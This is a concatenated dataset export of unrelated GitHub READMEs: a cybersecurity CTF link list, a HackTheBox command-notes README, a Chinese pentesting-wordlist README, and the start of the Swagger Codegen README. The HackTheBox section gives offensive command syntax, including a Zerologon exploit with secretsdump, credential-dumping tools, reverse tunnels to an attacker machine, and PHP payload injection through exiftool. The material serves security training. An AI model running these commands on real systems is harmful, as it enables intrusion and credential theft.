Machine bytecode.\n* [Get PDF (Malicious Document)](https://cyberdefenders.org/blueteam-ctf-challenges/47) - Reversing PDF malware.\n\n> Congratulations! If you have finished until here. You deserve a badge! Put this in your writeups or git profile. You can continue doing the below CTFs.\n\n
\n Click here to get your blue team badge!\n\n\n\n
\n\n\n\n[↑](#contents)\n\n## Bonus CTF practice and Latest CVEs\n\n* [Bandit](https://overthewire.org/wargames/bandit/) - Aimed at absolute beginners and teaches the basics of remote server access.\n* [Natas](https://overthewire.org/wargames/natas/) - Teaches the basics of serverside web-security.\n* [Post Exploitation Basics](https://tryhackme.com/room/postexploit) - Learn the basics of post-exploitation and maintaining access with mimikatz, bloodhound, powerview and msfvenom.\n* [Smag Grotto](https://tryhackme.com/room/smaggrotto) - An obsecure boot to root machine.\n* [Dogcat](https://tryhackme.com/room/dogcat) - I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.\n* [Buffer Overflow Prep](https://tryhackme.com/room/bufferoverflowprep) - Practice stack-based buffer overflows.\n* [Break out the cage](https://tryhackme.com/room/breakoutthecage1) - Help Cage bring back his acting career and investigate the nefarious going on of his agent.\n* [Lian Yu](https://tryhackme.com/room/lianyu) - A beginner-level security challenge.\n* [Insecure Kubernetes](https://tryhackme.com/room/insekube) - Exploiting Kubernetes by leveraging a Grafana LFI vulnerability.\n* [The Great Escape (docker)](https://tryhackme.com/room/thegreatescape) - Escaping docker container.\n* [Solr Exploiting Log4j](https://tryhackme.com/room/solar) - Explore CVE-2021-44228, a vulnerability in log4j affecting almost all software under the sun.\n* [Spring4Shell](https://tryhackme.com/room/spring4shell) - Interactive lab for exploiting Spring4Shell (CVE-2022-22965) in the Java Spring Framework.\n* [Most Recent threats](https://tryhackme.com/module/recent-threats) - Learn about the latest industry threats. Get hands-on experience identifying, exploiting, and mitigating critical vulnerabilities.\n\n\n\n[↑](#contents)\n\n## Bonus Windows\n\n* [Attacktive Directory](https://tryhackme.com/room/attacktivedirectory) - Learn about 99% of Corporate networks that run off of AD.\n* [Retro](https://tryhackme.com/room/retro) - Breaking out of the retro-themed box.\n* [Blue Print](https://tryhackme.com/room/blueprint) - Hack into this Windows machine and escalate your privileges to Administrator.\n* [Anthem](https://tryhackme.com/room/anthem) - Exploit a Windows machine in this beginner-level challenge.\n* [Relevant](https://tryhackme.com/room/relevant) - Penetration Testing Challenge.\n\n\n\n[↑](#contents)\n\n## Extremely Hard Rooms to do\n\n* [Ra](https://tryhackme.com/room/ra) - You have found WindCorp's internal network and their Domain Controller. Pwn the network.\n* [CCT2019](https://tryhackme.com/room/cct2019) - Legacy challenges from the US Navy Cyber Competition Team 2019 Assessment sponsored by US TENTH Fleet.\n* [Theseus](https://tryhackme.com/room/theseus) - The first installment of the SuitGuy series of very hard challenges.\n* [IronCorp](https://tryhackme.com/room/ironcorp) - Get access to Iron Corp's system.\n* [Carpe Diem 1](https://tryhackme.com/room/carpediem1) - Recover your client's encrypted files before the ransomware timer runs out.\n* [Borderlands](https://tryhackme.com/room/borderlands) - Compromise a perimeter host and pivot through this network.\n* [Jeff](https://tryhackme.com/room/jeff) - Hack into Jeff's web server.\n* [Year of the Owl](https://tryhackme.com/room/yearoftheowl) - Owl-themed boot to root machine.\n* [Anonymous Playground](https://tryhackme.com/room/anonymousplayground) - Want to become part of Anonymous? They have a challenge for you.\n* [EnterPrize](https://tryhackme.com/room/enterprize) - Enterprise-themed network to hack into.\n* [Racetrack Bank](https://tryhackme.com/room/racetrackbank) - It's time for another heist.\n* [Python Playground](https://tryhackme.com/room/pythonplayground) - Use python to pwn this room.\n\n\n\n[↑](#contents)\n\n## Footnotes\n\n**Inspired by** \n\n### Contributors & stargazers ✨\n\n\n\n[![All Contributors](https://img.shields.io/badge/all_contributors-2-orange.svg?style=flat-square)](#contributors-)\n\n\n\nSpecial thanks to everyone who forked or starred the repository ❤️\n\n[![Stargazers repo roster for @brootware/awesome-cyber-security-university](https://reporoster.com/stars/dark/brootware/awesome-cyber-security-university)](https://github.com/brootware/awesome-cyber-security-university/stargazers)\n\n[![Forkers repo roster for @brootware/awesome-cyber-security-university](https://reporoster.com/forks/dark/brootware/awesome-cyber-security-university)](https://github.com/brootware/awesome-cyber-security-university/network/members)\n\nThanks goes to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)):\n\n\n\n\n\n\n\n\n \n \n \n \n
\"\"/
Oaker Min

🚇 🚧 📖 💻
\"\"/
Michael Paul Coder

📖
\n\n\n\n\n\n\n\nThis project follows the [all-contributors (⭐7k)](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind are welcome!\n\n\n\n[↑](#contents)\n\n"}}},{"rowIdx":267,"cells":{"text":{"kind":"string","value":"# hackthebox \n\n[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) \n![GitHub repo size](https://img.shields.io/github/repo-size/cyberwr3nch/hackthebox)
\n\n![GitHub Repo stars](https://img.shields.io/github/stars/cyberwr3nch/hackthebox?style=social)\n![GitHub forks](https://img.shields.io/github/forks/cyberwr3nch/hackthebox?style=social)\n![GitHub watchers](https://img.shields.io/github/watchers/cyberwr3nch/hackthebox?style=social)\n\n\nNotes Taken for HTB Machine
\nWill be periodiclly updated, created with the intend of unwraping all possible ways and to prep for exams
\n\ncreated & maintained by: **cyberwr3nch**\n\n# Contents\n- [Command Reference](#cr)\n- [Tools](#tools)\n- [Bloggers](#blog)\n\n\n### Commands Reference \n\n| File | Contents |\n| ---- | -------- |\n| [Active Directory](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Active%20Directory.md) | Bruteforce SMB, Winrm Bruteforce, AD User Enumeration, Mounting Disks, BloodHound, rpcclinet |\n| [Directory Enumeration](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Directory%20Enumeration.md) | gobuster, rustbuster, wfuzz, vhosts |\n| [File Transfer](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/FileTransfer.md) | ftp, python, netcat, http, powershell curling, metasploit, smb, net use, impackets |\n| [Nmap](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Nmap.md) | Nmap, PortScanning, Tags |\n| [Notes](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Notes.md) | DNS Recon, 302 Redirects, Burpsuite, MySQL, Passwd File, Port Forwarding |\n| [Password Cracking](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Password%20Cracking.md) | hashcat, john, hashexamples, zip file cracking |\n| [Post Exploitation](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/PostExploitationCommands.md) | current user, network infos, locate, Antivirus Disabling, registry, priviledges, running process, plink, stored credentials, wmic | \n| [Regular Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md) | ls, Grep, AWK, Curl, wget, Compression and decompression of files, Find, xclip, Misc, bashLoops, sed, tr, tail, watch |\n| [Reverse Shells](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Reverse%20Shell.md) | Bash TCP, Bash UDP, Netcat, Telnet, Socat, Perl, Python, PHP, Ruby, SSL, Powershell, AWK, TCLsh, Java, LUA, MSF Reverse Shells(war, exe, elf, macho, aspx, jsp, python, sh, perl), Xterm, Magicbytes, Exiftool, Simple PHP oneliners |\n| [Web Attacks](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/WebAttacks.md) | sql-injection, login bruteforce( wfuzz, hydra) |\n| [Docker Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Docker%20Commands.md) | installation, building, pulling, updating, deleting, listing, cheatsheet |\n| [Git Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Git%20Commands.md) | clone, commit, push, pull, add, log, deleted file, checkout | \n| [Pivoting](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Pivoting.md) | POST Exploitation, Pivoting, Chisel |\n\n\n### Tools \n\n#### Windows and Active Directory\n| Tool | Use | Command Syntax |\n| ---- | --- | -------------- |\n| [Bloodhound.py](https://github.com/cyberwr3nch/hackthebox/tree/master/tools/BloodHound.py) | BloodHound written in python. Used to obtain AD infromations from a windows machine | `python3 bloodhound-python -u -p -ns -d -c all` |\n| [Impackets](https://github.com/SecureAuthCorp/impacket) | Swiss Knife for most Windows AD attacks | `python GetNPUsers.py / -usersfile ` = ASREPRoasting
`python GetUserSPNs.py /:` = Kerberoasting |\n| [Kerbrute](https://github.com/ropnop/kerbrute) | A tool written in GO to enumerate AD users | `./kerbrute userenum --dc -d ` |\n| [CredDump](https://github.com/cyberwr3nch/hackthebox/tree/master/tools/creddump) | Used to obtain Cached Credentials, LSA Secrets and Password hash when system and sam files are available | `./pwdump.py ` = Obtain Password Credentials
`./cachedump.py ` = obtain cached credentials
`./lsadum.py ` = Obtain LSA Dumps |\n| [PwdDump](https://github.com/cyberwr3nch/hackthebox/tree/master/tools/pwdump) | After getting the `administrative` access, running this will get the password hashes | `.\\PwDump7.exe`|\n| [ApacheDirectoryStudio](https://directory.apache.org/studio/downloads.html) | LDAP browser which is used to analyze LDAP instance running on linux (CREDS required), here transferring the LDAP running on a victim machine and accessing it in the attacker machine | `sudo ssh -L 389:172.20.0.10:389 lynik-admin@10.10.10.189` |\n\n\n#### Port Forwarding\n| Tool | Use | Command Syntax|\n| ---- | --- | -------------- |\n| [Chisel](https://github.com/cyberwr3nch/hackthebox/tree/master/tools/chisel) | Used to forward a service running on a port in the victim machine | `./chisel server -p --reverse` = on the attacker machine
`./chisel client R:1234:127.0.0.1:1121` = Forwards the service running on port 1121 to the port 1234 on attackers machine |\n| [socat](https://github.com/craSH/socat) | Swiss Knife for Port forwarding | `socat TCP-LISTEN:8000,fork TCP::` = Listens on every connection to port `8000` and forwards to the `machineIP` and its `port`
`socat TCP-LISTEN:9002,bind=,fork,reuseaddr TCP:localhost:` = forward all incoming requests to the port 9002 from to the localhost port, reuseaddr is used to specify socat use the address (eg. localhost) even if its used by other services|\n| [plink](https://github.com/Plotkine/pentesting/blob/master/Windows_privilege_escalation/Windows-privesc-tib3rius/plink.exe) | SSH Putty in CLI mode | `.\\plink.exe -R ::` .\\plink.exe kali@10.10.14.32 -R 8888:127.0.0.1:8888 = port forwards the service running on victim machines port 8888 to the attacker machines 8888 |\n| ssh | uses the built in ssh service to port forward a service | **Remote Port Forwarding:**
> Command should be entered on the compromied machine
`ssh -R ::: -N -f`
ssh cyberwr3nch@192.168.XX.XX -R 192.168.XX.XX:3000:127.0.0.1:80 -N -f = Open the port 3000 in the cyberwr3nch's machine and forwards the service running in port 80 to the cyberwr3nch's 3000. So visiting 127.0.0.1:3000 in cyberwr3nch's browser will be the same of visiting 127.0.0.1:80 on the victim machine
================
**Dynamic Port Forwarding:**
> Command to be executed on the attacker machine
`ssh -D `
ssh -D 1234 victim@192.168.XX.XX = Command to be executed on the attackers machine, the port 1234 should be configured in the `/etc/proxychains.conf` as `socks4 127.0.0.1 1234`. If SSH Dynamic port forwarding fails, go for chisel method
================
**Local Port Forwarding:**
> Command to be executed on the attacker machine
`ssh -L 127.0.0.1::: `
ssh -L 127.0.0.1:8080:10.10.10.11:80 cyberwr3nch@10.10.10.10 = Whatever request to made to the attacker machine's port 8080 will travel through 10.10.10.10 and reach 10.10.10.11:80 |\n\n\n#### Directory Enumeration\n| Tool | Use | Command Syntax |\n| ---- | --- | -------------- |\n| [DirSearch](https://github.com/cyberwr3nch/hackthebox/tree/master/tools/dirsearch) | Directory enumeration Tool | `python3 dirsearch.py -u -e ` |\n| [Gobuster](https://github.com/cyberwr3nch/hackthebox/tree/master/tools/gobuster) | Directory enumeration tool written in GO | `gobuster dir -u -w -x -b -t `|\n| [RustBuster](https://github.com/phra/rustbuster)| Direcotry Enumeration tool written in rust | `rustbuster dir -u -w -e ` |\n\n\n\n\n#### Post Exploitation\n| Tool | Use | Command Syntax |\n| ---- | --- | -------------- |\n| [LinEnum](https://github.com/cyberwr3nch/hackthebox/tree/master/tools/LinEnum) | Post Enumeration scripts that automates enumeration | `./LinEnum.sh` |\n| [LinPeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) | Post Enumeration Script | `./linpeas.sh` |\n| [WinPEASbat/WinPEASexe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) | Windows post enumeration script and exe | `.\\winPEAS.bat` |\n\n\n#### Misc\n| Tool | Use | Command Syntax |\n| ---- | --- | -------------- |\n| [Exiftool](https://github.com/cyberwr3nch/hackthebox/tree/master/tools/ExifTool) | Inspects the meta data of the image, Injects php payload in the comment section for file upload vulns, which can be added double extension `file.php.ext` | `./exiftool -Comment='' `\n| [Git Dumper](https://github.com/arthaud/git-dumper) | Dump the Github repo if found in website | `./git-dumper.py ` |\n| [lxd-alpine builder](https://github.com/saghul/lxd-alpine-builder) | When a victim machine is implemented with lxc the privesc is done with this | [`article here`](https://www.hackingarticles.in/lxd-privilege-escalation/) |\n| [Php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell) | Php reverse shell, when an upload is possible change the IP and make req to obtain reverse shell | |\n| [ZerologonPOC](https://github.com/risksense/zerologon) | CVE-2020-1472 Exploit, sets the domain admin password as empty pass and dump the secrets. _PS: Latest Version of Impackets is required_ | `python3 set_empty_pw.py machinename/domainname machine IP; secretsdump.py -just-dc -no-pass machinename\\$@machineip`|\n| [Gopherus](https://github.com/tarunkant/Gopherus) | SSRF with `gopher://` protocol | `gophreus --exploit phpmemcache` |\n\n\n\n#### SAY NO TO MSF !\n\n## Admired Bloggers \nThese are the urls that has the writeups for active and retired machines\n\n- [snowscan's Blog](https://snowscan.io/) :star:\n- [xct's Blog](https://vulndev.io/) :star:\n- [My Blog](https://cyberwr3nch.github.io) :skull: (inactive for a period of time)\n- [nav1n](http://www.nav1n.com/)\n- [0xPrashanth](https://0xprashant.github.io/)\n- [BinaryBiceps](https://binarybiceps.com/)\n- [p0i5on8](https://p0i5on8.github.io/)\n- [lUc1f3r11's Blog](https://fdlucifer.github.io/)\n- [subham399](https://shubhkumar.in/tags/hackthebox/)\n- [Jacob Riggs](https://jacobriggs.io/blog/)\n- [elbee infoSec](https://elbee.xyz/writeups)\n- [Kali-education](https://kali-education.info/)\n- [roman.de](https://romanh.de/home)\n- [0xdf's Blog](https://0xdf.gitlab.io/)\n- [0xrick's Blog](https://0xrick.github.io/)\n- [SecJuice](https://www.secjuice.com/)\n- [Sector 035 OSINT](https://medium.com/@sector035) :star:\n\n#### nvm this\nConstantly updating from *MAY 3rd 2020*\n\n# Thanks for visiting\nA noob _cyberwr3nch🔧_ \nA member of **TCSC** \nLearn and Spread <3 \n``` xoxo💙```\n\n\n### Support My contents\n\"Dhanesh\n\n\n"}}},{"rowIdx":268,"cells":{"text":{"kind":"string","value":"# Dictionary-Of-Pentesting\n\n## 简介\n\n收集一些常用的字典,用于渗透测试、SRC漏洞挖掘、爆破、Fuzzing等实战中。\n\n收集以实用为原则。目前主要分类有认证类、文件路径类、端口类、域名类、无线类、正则类。\n\n涉及的内容包含设备默认密码、文件路径、通用默认密码、HTTP参数、HTTP请求头、正则、应用服务默认密码、子域名、用户名、系统密码、Wifi密码等。\n\n该项目计划持续收集,也欢迎感兴趣的大佬一起来完善。可直接提交PR,也可以提建议到issue。\n\n## 更新记录\n\n**2021.02.03**\n\n1. 增加amass的子域名字典。\n\n**2021.01.31**\n\n1. 增加AllAboutBugBounty项目的文档\n\n**2021.01.27**\n\n1. 增加几个可能导致RCE的端口\n\n**2021.01.24**\n\n1. 增加两个github dork\n\n**2021.01.16**\n\n1. 增加cve的一些路径\n\n2. 一些已知错误配置的路径\n\n3. 一些API端点或服务器信息的特殊路径\n\n4. 以上3种的合集(去重后)\n\n**2021.01.13**\n\n1. 增加callback参数字典\n\n2. 增加常见报错信息字符串列表\n\n3. 增加debug参数字典\n\n4. 增加snmp密码字典\n\n5. 增加weblogic常见用户名密码\n\n6. 增加oracle用户名、密码字典\n\n**2021.01.04**\n\n1. 增加DefaultCreds-cheat-sheet\n\n\n**2021.01.03**\n\n1. 增加crackstation下载地址(由于字典太大,给出下载链接)。\n\n2. 增加rockyou字典。\n\n3. 增加cain字典。\n\n**2021.01.02**\n\n1. 增加webshell密码字典\n\n2. 增加7w和81万请求参数字典\n\n3. 增加Lcoalhost地址字典\n\n4. HTML标签列表\n\n\n**2020.12.31**\n\n1. 增加域账户弱密码字典(7000+)\n\n**2020.12.30**\n\n1. 增加ntlm验证的路径\n\n**2020.12.15**\n\n1. 增加github dork的搜索脚本。\n\n**2020.12.09**\n\n1. 增加CEH web services的用户名和密码字典。\n\n**2020.12.07**\n\n1. 增加oracle路径列表\n\n**2020.11.23**\n\n1. 增加ctf字典。\n\n2. 增加摄像rtsp默认路径和默认用户名和密码\n\n**2020.11.14**\n\n1. 增加1个ics 默认密码字典\n\n2. 增加1个设备默认密码字典(3400余条)\n\n\n**2020.11.04**\n\n1. 增加 Wordpress BruteForc List\n\n**2020.11.03**\n\n1. 增加几个默认口令\n\n**2020.10.15**\n\n1. 增加一些payload\n\n**2020.09.30**\n\n1. 增加常见可以RCE的端口\n\n**2020.09.29**\n\n1. bugbounty oneliner rce\n\n2. 一些默认路径\n\n3. top 100k 密码字典\n\n4. top 5k 用户名字典\n\n5. 一些代码审计正则表达式\n\n\n**2020.09.27**\n\n1. 增加cms识别指纹规则集,包含 fofa/Wappalyzer/WEBEYE/web中间件/开发语言 等众多指纹库内容\n\n**2020.09.22**\n\n1. 修改swagger字典,添加5条路径\n\n**2020.09.21**\n\n1. 增加3种类型密码字典,拼音、纯数字、键盘密码字典\n\n2. 增加scada 默认密码,硬编码等列表\n\n**2020.09.18**\n\n1. 增加11k+用户名密码组合\n\n**2020.09.17**\n\n1. 增加action后缀 top 100\n\n2. javascript 中on事件列表 \n\n3. URL 16进制fuzz\n\n**2020.09.15**\n\n1. 增加XXE bruteforce wordlist \n\n2. 增加sql备份文件名字典 \n\n3. 删除重复的spring boot内容\n\n**2020.09.10**\n\n1. 增加自己收集的webservices内容。包含webservices目录,文件名,拓展名。后续计划增加存在漏洞webservices路径内容\n\n2. readme中增加更新历史\n\n\n**2020.09.09**\n\n1. 增加weblogic路径\n\n2. 增加swagger路径\n\n3. 增加graphql路径\n\n4. 增加spring-boot路径\n\n5. 去掉device/default_password_list.txt文件中的空行\n\n\n**2020.09.08**\n\n1. 更新jsFileDict.txt字典,增加4个js文件名 \n\n\n**2020.09.07**\n\n1. 添加绕过ip限制的http请求投\n\n2. 修改readme.md\n\n\n**2020.08.29** \n\n1. 增加常见设备、安全产品默认口令\n\n2. 增加一行命令的BugBounty tips\n\n3. 增加两处参数字典\n\n4. 增加bruteforce-lists的字典\n\n5. Readme 文件增加来源。逐渐完善。\n\n\n**2020.08.28**\n\n1. 增加api路径\n\n2. 增加js文件路径\n\n3. 增加http请求参数\n\n4. 增加http请求参数值\n\n\n**2020.08.27**\n\n1. 删除一些多余文件\n\n2. 精简Files下的dict的层级\n\n3. 增加DirBuster字典\n\n4. 增加spring boot actuator字典\n\n\n**2020.08.26**\n\n首次提交\n\n## todo\n\n- [ ] 文件名字、目录风格统一整理\n\n- [ ] 英文版本的readme\n\n- [x] 网站指纹识别特征收集\n\n- [x] 其他待添加\n\n## 来源&致谢(排名不分先后。目前还不全,会陆续完善)\n\n该项目内容均来源于网络或自己整理,感谢各位大佬们的共享精神和辛苦付出~\n\n* [https://github.com/maurosoria/dirsearch](https://github.com/maurosoria/dirsearch)\n\n* [https://github.com/dwisiswant0/awesome-oneliner-bugbounty](https://github.com/dwisiswant0/awesome-oneliner-bugbounty)\n\n* [https://github.com/internetwache/CT_subdomains](https://github.com/internetwache/CT_subdomains)\n\n* [https://github.com/lijiejie/subDomainsBrute](https://github.com/lijiejie/subDomainsBrute)\n\n* [https://github.com/shmilylty/OneForAll](https://github.com/shmilylty/OneForAll)\n\n* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)\n\n* [https://github.com/dwisiswant0/awesome-oneliner-bugbounty](https://github.com/dwisiswant0/awesome-oneliner-bugbounty)\n\n* [https://github.com/OfJAAH/KingOfBugBountyTips](https://github.com/OfJAAH/KingOfBugBountyTips)\n\n* [https://github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists)\n\n* [https://github.com/TheKingOfDuck/fuzzDicts](https://github.com/TheKingOfDuck/fuzzDicts)\n\n* [https://github.com/NS-Sp4ce/Dict](https://github.com/NS-Sp4ce/Dict)\n\n* [https://github.com/s0md3v/Arjun](https://github.com/s0md3v/Arjun)\n\n* [https://github.com/fuzzdb-project/fuzzdb](https://github.com/fuzzdb-project/fuzzdb)\n\n* [https://github.com/YasserGersy/Enums/](https://github.com/YasserGersy/Enums/)\n\n* [https://gist.github.com/honoki/d7035c3ccca1698ec7b541c77b9410cf](https://gist.github.com/honoki/d7035c3ccca1698ec7b541c77b9410cf)\n\n* [https://twitter.com/DanielAzulay18/status/1304751830539395072](https://twitter.com/DanielAzulay18/status/1304751830539395072)\n\n* [https://github.com/cwkiller/Pentest_Dic](https://github.com/cwkiller/Pentest_Dic)\n\n* [https://github.com/huyuanzhi2/password_brute_dictionary](https://github.com/huyuanzhi2/password_brute_dictionary)\n\n* [https://github.com/Clear2020/icsmaster/](https://github.com/Clear2020/icsmaster/)\n\n* [https://github.com/LandGrey/SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit)\n\n* [https://github.com/al0ne/Vxscan][https://github.com/al0ne/Vxscan]\n\n* [https://github.com/L0kiii/FofaScan](https://github.com/L0kiii/FofaScan)\n\n* [https://github.com/nw01f/CmsIdentification-masterV2](https://github.com/nw01f/CmsIdentification-masterV2)\n\n* [https://github.com/Lucifer1993/cmsprint](https://github.com/Lucifer1993/cmsprint)\n\n* [https://github.com/erwanlr/Fingerprinter](https://github.com/erwanlr/Fingerprinter)\n\n* [https://github.com/lewiswu1209/fingerprint](https://github.com/lewiswu1209/fingerprint)\n\n* [https://github.com/shelld3v/RCE-python-oneliner-payload](https://github.com/shelld3v/RCE-python-oneliner-payload)\n\n* [https://twitter.com/ptswarm/status/1311310897592315905](https://twitter.com/ptswarm/status/1311310897592315905)\n\n* [https://github.com/xer0days/BugBounty](https://github.com/xer0days/BugBounty)\n \n* [https://twitter.com/ptswarm/status/1323266632920256512](https://twitter.com/ptswarm/status/1323266632920256512)\n\n* [https://github.com/kongsec/Wordpress-BruteForce-List/](https://github.com/kongsec/Wordpress-BruteForce-List/)\n\n* [https://github.com/nyxxxie/awesome-default-passwords](https://github.com/nyxxxie/awesome-default-passwords)\n\n* [https://github.com/arnaudsoullie/ics-default-passwords](https://github.com/arnaudsoullie/ics-default-passwords)\n\n* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)\n\n* [https://github.com/pwnfoo/NTLMRecon](https://github.com/pwnfoo/NTLMRecon)\n\n* [https://github.com/chroblert/domainWeakPasswdCheck](https://github.com/chroblert/domainWeakPasswdCheck/)\n\n* [https://github.com/gh0stkey/Web-Fuzzing-Box](https://github.com/gh0stkey/Web-Fuzzing-Box)\n\n* [https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)\n\n* [https://github.com/ihebski/DefaultCreds-cheat-sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet)\n\n* [https://github.com/epony4c/Exploit-Dictionary](https://github.com/epony4c/Exploit-Dictionary)\n\n* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)\n\n* [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker)\n\n* [https://github.com/daffainfo/AllAboutBugBounty](https://github.com/daffainfo/AllAboutBugBounty)\n\n* [https://github.com/OWASP/Amass](https://github.com/OWASP/Amass)"}}},{"rowIdx":269,"cells":{"text":{"kind":"string","value":"# Swagger Code Generator\n\n[![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen)\n[![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea)\n[![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu)\n[![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project)\n[![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen)\n\n:star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22Need+community+contribution%22).:star::star::star:\n\n:notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover:\n\n:warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning:\n\n:rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket:\n\n## Overview\nThis is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported:\n\n- **API clients**: **ActionScript**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Go**, **Groovy**, **Haskell**, **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign), **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **Python**, **Ruby**, **Scala**, **Swift** (2.x, 3.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node)\n- **Server stubs**: **C#** (ASP.NET Core, NancyFx), **Erlang**, **Go**, **Haskell**, **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy), **PHP** (Lumen, Slim, Silex, [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Scala** ([Finch](https://github.com/finagle/finch), Scalatra)\n- **API documentation generators**: **HTML**, **Confluence Wiki** \n- **Others**: **JMeter**\n\nCheck out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project.\n\n# Table of contents\n\n - [Swagger Code Generator](#swagger-code-generator)\n - [Overview](#overview)\n - [Table of Contents](#table-of-contents)\n - Installation\n - [Compatibility](#compatibility)\n - [Prerequisites](#prerequisites)\n - [OS X Users](#os-x-users)\n - [Building](#building)\n - [Docker](#docker)\n - [Build and run](#build-and-run-using-docker)\n - [Run docker in Vagrant](#run-docker-in-vagrant)\n - [Public Docker image](#public-docker-image)\n - [Homebrew](#homebrew)\n - [Getting Started](#getting-started)\n - Generators\n - [To generate a sample client library](#to-generate-a-sample-client-library)\n - [Generating libraries from your server](#generating-libraries-from-your-server)\n - [Modifying the client library format](#modifying-the-client-library-format)\n - [Making your own codegen modules](#making-your-own-codegen-modules)\n - [Where is Javascript???](#where-is-javascript)\n - [Generating a client from local files](#generating-a-client-from-local-files)\n - [Customizing the generator](#customizing-the-generator)\n - [Validating your OpenAPI Spec](#validating-your-openapi-spec)\n - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation)\n - [Generating static html api documentation](#generating-static-html-api-documentation)\n - [To build a server stub](#to-build-a-server-stub)\n - [To build the codegen library](#to-build-the-codegen-library)\n - [Workflow Integration](#workflow-integration)\n - [Github Integration](#github-integration)\n - [Online Generators](#online-generators)\n - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution)\n - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen)\n - [Swagger Codegen Core Team](#swagger-codegen-core-team)\n - [Swagger Codegen Evangelist](#swagger-codegen-evangelist)\n - [License](#license)\n\n\n## Compatibility\nThe OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification:\n\nSwagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes\n-------------------------- | ------------ | -------------------------- | -----\n2.3.0 (upcoming minor release) | Apr/May 2017 | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes\n2.2.3 (upcoming patch release) | TBD | 1.0, 1.1, 1.2, 2.0 | Patch release without breaking changes\n2.2.2 (**current stable**) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2)\n2.2.1 | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1)\n2.1.6 | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6)\n2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag 